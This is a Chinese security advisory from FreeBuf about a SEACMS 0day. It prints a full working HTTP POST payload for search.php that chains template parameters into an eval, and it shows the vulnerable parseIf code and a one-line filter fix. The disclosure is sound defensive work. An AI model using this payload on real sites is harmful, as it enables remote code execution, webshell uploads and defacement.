漏洞预警 | 海洋CMS(SEACMS)0day漏洞预警

2017 年 10 月 9 日 FreeBuf 天择实习生

概述

最近我们的一名安全托管客户反应,其服务器遭受到攻击,被黑客上传了webshell并篡改网页内容。经过我们为客户安装云锁防护软件后,拦截到一个针对海洋CMS(SEACMS)的0day漏洞。

海洋CMS是一套专为不同需求的站长而设计的视频点播系统,在影视类CMS中具有很高的市场占有率,其官方地址是:http://www.seacms.net/

海洋CMS(SEACMS)几个老漏洞及其修补方法

在2017年2月,海洋CMS 6.45版本曾爆出一个前台getshell漏洞,漏洞具体内容参见:http://blog.csdn.net/qq_35078631/article/details/76595817。该漏洞成因在于search.php没有对用户输入内容进行过滤,导致攻击者提交的order参数可进入parseIf函数中执行eval。

官方在6.46版中修复了该漏洞,修复方法是对用户输入的参数进行过滤并限制长度为20个字符。但这种修复方法并没有完全修复漏洞,因为在替换操作过程中用户输入的几个参数可以进行组合,因此补丁被绕过。

随后官方又在8月7日发布了6.54版本再次修复漏洞,这次修复增加了一句:

$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";

即限制了order参数只能是固定内容,这样虽然避免了通过order参数进行的攻击,但是却没有解决其他参数进入parseIf函数的问题。

海洋CMS(SEACMS)0day漏洞分析

我们抓取到的攻击payload(POC)如下:

POST /search.php HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
Connection: keep-alive
Upgrade-Insecure-Requests: 1

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

可以看到,攻击入口已经不在是order参数,我们来看一下search.php中的搜索实现过程:

function echoSearchPage()
{
......
    $content = str_replace("{searchpage:page}",$page,$content);
        $content = str_replace("{seacms:searchword}",$searchword,$content);
    $content = str_replace("{seacms:searchnum}",$TotalResult,$content);
        $content = str_replace("{searchpage:ordername}",$order,$content);
......
    $content = str_replace("{searchpage:year}",$year,$content);
        $content = str_replace("{searchpage:area}",$area,$content);
    $content = str_replace("{searchpage:letter}",$letter,$content);
        $content = str_replace("{searchpage:lang}",$yuyan,$content);
    $content = str_replace("{searchpage:jq}",$jq,$content);
    ......
        $content = str_replace("{searchpage:state}",$state2,$content);
    $content = str_replace("{searchpage:money}",$money2,$content);
        $content = str_replace("{searchpage:ver}",$ver,$content);
......
    $content=$mainClassObj->parseIf($content);

可以看到,代码中对html中的searchpage标签进行了多次替换,而攻击者也正是利用了这一点,在多次替换过程中使多个参数共同组合成最终的payload,这样既绕开了RemoveXSS的过滤又绕过了20字节的长度限制。
在对参数进行了替换之后,content中已经包含了如下攻击payload:

if:eval(join($_POST[9]))

在随后的POST数据中攻击者又利用9[]把真正的payload利用base64_decode传入。最终$content内容被传入parseIf函数。在parseIf函数中判断含有if:标签,就会调用eval来执行该内容,从而导致了攻击者的payload被执行。

function parseIf($content){
            if (strpos($content,'{if:')=== false){
            return $content;
            }else{
......
            @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

漏洞修复

根据云锁监测,目前该0day已经被大规模运用,而且攻击者使用自动化攻击脚本对全网SEACMS进行搜索并实施自动攻击。我们已在9月份向CNVD和厂商报告了漏洞详情,但截至2017.10.9,SEACMS仍然未发布该漏洞的补丁。建议SEACMS用户立即安装云锁并开启文件防上传功能,可暂时避免被自动化程序攻击。或在echoSearchPage()函数中增加一条过滤语句:

if(strpos($searchword,'{searchpage:')) exit;

*本文作者:天择实习生,转载请注明来自FreeBuf.COM

登录查看更多
0

相关内容

CMS:内容管理系统
【SIGIR2020】用于冷启动推荐的内容感知神经哈希
专知会员服务
22+阅读 · 2020年6月2日
安全和健壮的医疗机器学习综述,附22页pdf
专知会员服务
46+阅读 · 2020年1月25日
【哈佛大学商学院课程Fall 2019】机器学习可解释性
专知会员服务
99+阅读 · 2019年10月9日
msf实现linux shell反弹
黑白之道
49+阅读 · 2019年8月16日
漏洞预警丨Xstream远程代码执行漏洞
FreeBuf
4+阅读 · 2019年7月25日
搭建自己的searx搜索引擎
黑白之道
13+阅读 · 2019年5月31日
Kali Linux 渗透测试:密码攻击
计算机与网络安全
15+阅读 · 2019年5月13日
“黑客”入门学习之“windows系统漏洞详解”
安全优佳
8+阅读 · 2019年4月17日
Linux挖矿病毒的清除与分析
FreeBuf
14+阅读 · 2019年4月15日
DiscuzX 3.4 Phar反序列化漏洞
黑客工具箱
8+阅读 · 2019年1月4日
Tensor Flow、Caffe、Torch共同之处:敞开的漏洞!
【推荐】树莓派/OpenCV/dlib人脸定位/瞌睡检测
机器学习研究会
9+阅读 · 2017年10月24日
Do RNN and LSTM have Long Memory?
Arxiv
19+阅读 · 2020年6月10日
A Survey on Edge Intelligence
Arxiv
49+阅读 · 2020年3月26日
Arxiv
34+阅读 · 2019年11月7日
Arxiv
135+阅读 · 2018年10月8日
Arxiv
11+阅读 · 2018年1月11日
Arxiv
3+阅读 · 2012年11月20日
VIP会员
相关VIP内容
【SIGIR2020】用于冷启动推荐的内容感知神经哈希
专知会员服务
22+阅读 · 2020年6月2日
安全和健壮的医疗机器学习综述,附22页pdf
专知会员服务
46+阅读 · 2020年1月25日
【哈佛大学商学院课程Fall 2019】机器学习可解释性
专知会员服务
99+阅读 · 2019年10月9日
相关资讯
msf实现linux shell反弹
黑白之道
49+阅读 · 2019年8月16日
漏洞预警丨Xstream远程代码执行漏洞
FreeBuf
4+阅读 · 2019年7月25日
搭建自己的searx搜索引擎
黑白之道
13+阅读 · 2019年5月31日
Kali Linux 渗透测试:密码攻击
计算机与网络安全
15+阅读 · 2019年5月13日
“黑客”入门学习之“windows系统漏洞详解”
安全优佳
8+阅读 · 2019年4月17日
Linux挖矿病毒的清除与分析
FreeBuf
14+阅读 · 2019年4月15日
DiscuzX 3.4 Phar反序列化漏洞
黑客工具箱
8+阅读 · 2019年1月4日
Tensor Flow、Caffe、Torch共同之处:敞开的漏洞!
【推荐】树莓派/OpenCV/dlib人脸定位/瞌睡检测
机器学习研究会
9+阅读 · 2017年10月24日
相关论文
Do RNN and LSTM have Long Memory?
Arxiv
19+阅读 · 2020年6月10日
A Survey on Edge Intelligence
Arxiv
49+阅读 · 2020年3月26日
Arxiv
34+阅读 · 2019年11月7日
Arxiv
135+阅读 · 2018年10月8日
Arxiv
11+阅读 · 2018年1月11日
Arxiv
3+阅读 · 2012年11月20日
Top
微信扫码咨询专知VIP会员